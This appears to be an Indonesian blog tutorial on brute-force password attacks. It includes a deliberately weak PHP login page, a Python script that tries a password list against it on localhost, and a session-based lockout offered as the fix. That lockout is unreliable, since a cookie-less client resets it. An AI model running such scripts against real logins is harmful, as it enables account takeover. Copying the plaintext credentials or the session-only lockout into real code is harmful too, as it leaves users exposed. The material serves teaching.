BRUTE FORCE

Serangan brute force adalah metode mencoba semua kombinasi kata sandi atau kunci enkripsi hingga menemukan yang benar.

Karakteristik: 

- Mencoba setiap kemungkinan secara sistematis. 

- Membutuhkan waktu dan sumber daya yang besar. 

- Efektif jika kata sandi lemah atau pendek. 

CARA KERJA BRUTE FORCE 

- Identifikasi Target: Menentukan sistem atau akun yang akan diserang. 

- Menyiapkan Script atau Alat: Menggunakan script otomatis atau alat seperti Hydra, John the Ripper.

- Melakukan Percobaan Kata Sandi: Mencoba berbagai kombinasi hingga menemukan kata sandi yang benar. 

DAMPAK BRUTE FORCE 

- Akses Tidak Sah: Penyerang dapat mengakses data sensitif. 

- Kerugian Finansial: Biaya pemulihan dan kerugian bisnis. 

- Kerusakan Reputasi: Hilangnya kepercayaan dari pelanggan dan mitra. 

MENGATASI BRUTE FORCE 

- Penggunaan Kata Sandi Kuat: Kombinasi huruf besar, huruf kecil, angka, dan simbol. 

- Penggunaan CAPTCHA: Mencegah otomatisasi percobaan login. 

- Pembatasan Percobaan Login: Mengunci akun setelah beberapa kali percobaan gagal. 

- Autentikasi Dua Faktor (2FA): Menambahkan lapisan keamanan tambahan. 

DEMO BRUTE FORCE 

- Buat folder brute_force :


- Buat file index.php dan isikan kode berikut:

<?php
session_start();
$users = [
'admin' => 'password123',
'user' => 'userpass'
];
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
if (isset($users[$username]) && $users[$username] == $password) {
$_SESSION['username'] = $username;
echo "Login berhasil!";
} else {
echo "Login gagal!";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<form method="post" action="">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>

- Simulasi serangan brute force dengan python 

- Buat file brute_force.py dan isikan kode berikut:

import hashlib
import httpx

# URL dan kredensial
url = "http://localhost/brute_force/index.php"
username = "user"
passwords = ["password", "123456", "password123", "admin","userpass"]

# Loop melalui daftar kata sandi
for password in passwords:
    # Hash kata sandi menggunakan MD5
    # hashed_password = hashlib.md5(password.encode()).hexdigest()
   
    # Data yang akan dikirim dalam permintaan POST
    data = {
        "username": username,
        "password": password
    }
   
    # Kirim permintaan POST
    response = httpx.post(url, data=data)
   
    # Periksa hasilnya
    if "Login berhasil" in response.text:
        print(f"Password ditemukan: {password}")
        break
    else:
        print(f"Percobaan gagal: {password}")

- Buka browser dan login dengan user admin/password123 pada url http://localhost/brute_force/index.php 


- Jalankan serangan brute force pada terminal/cmd (pastikan terinstall python) dengan mengetikkan python brute_force.py 


  • Tambahkan script untuk mencegah serangan brute force
  • Untuk mencegah serangan brute force pada file PHP Anda, Anda dapat menambahkan beberapa mekanisme untuk membatasi jumlah percobaan login yang dapat dilakukan dalam jangka waktu tertentu. Salah satu cara untuk melakukannya adalah dengan menyimpan informasi tentang percobaan login di sesi atau basis data, dan memblokir atau menunda permintaan setelah sejumlah percobaan yang gagal.

    Berikut adalah contoh implementasi sederhana menggunakan sesi PHP untuk membatasi jumlah percobaan login:

<?php
session_start();

// Inisialisasi pengguna dan kata sandi
$users = [
    'admin' => 'password123',
    'user' => 'userpass'
];

// Maksimal percobaan login
$max_attempts = 5;
// Waktu penguncian dalam detik (misalnya 15 menit)
$lockout_time = 15 * 60;

if (!isset($_SESSION['attempts'])) {
    $_SESSION['attempts'] = 0;
}

if (!isset($_SESSION['lockout_time'])) {
    $_SESSION['lockout_time'] = 0;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $current_time = time();

    if ($_SESSION['attempts'] >= $max_attempts && $current_time < $_SESSION['lockout_time']) {
        echo "Terlalu banyak percobaan login. Coba lagi nanti.";
    } else {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if (isset($users[$username]) && $users[$username] == $password) {
            $_SESSION['username'] = $username;
            $_SESSION['attempts'] = 0;
            $_SESSION['lockout_time'] = 0;
            echo "Login berhasil!";
        } else {
            $_SESSION['attempts'] += 1;

            if ($_SESSION['attempts'] >= $max_attempts) {
                $_SESSION['lockout_time'] = $current_time + $lockout_time;
                echo "Terlalu banyak percobaan login. Coba lagi nanti.";
            } else {
                echo "Login gagal!";
            }
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <form method="post" action="">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>
  • Meski begitu tetap masih perlu keamanan tambahan, seperti menambahkan
  1. Gunakan Captcha: Menambahkan Captcha pada formulir login dapat membantu memverifikasi bahwa pengguna adalah manusia dan bukan skrip otomatis.
  2. Menggunakan Rate Limiting: Implementasikan rate limiting untuk membatasi jumlah permintaan yang dapat dilakukan oleh alamat IP tertentu dalam jangka waktu tertentu.
  3. Tingkatkan Keamanan dengan IP Blocking: Blokir alamat IP yang mencurigakan atau yang melakukan terlalu banyak percobaan login gagal.


Komentar

Postingan populer dari blog ini

Open Source Intelligence (OSINT)

Mengenal MongoDB For VSCode

GETTING STARTED WITH MATPLOTLIB & SEABORN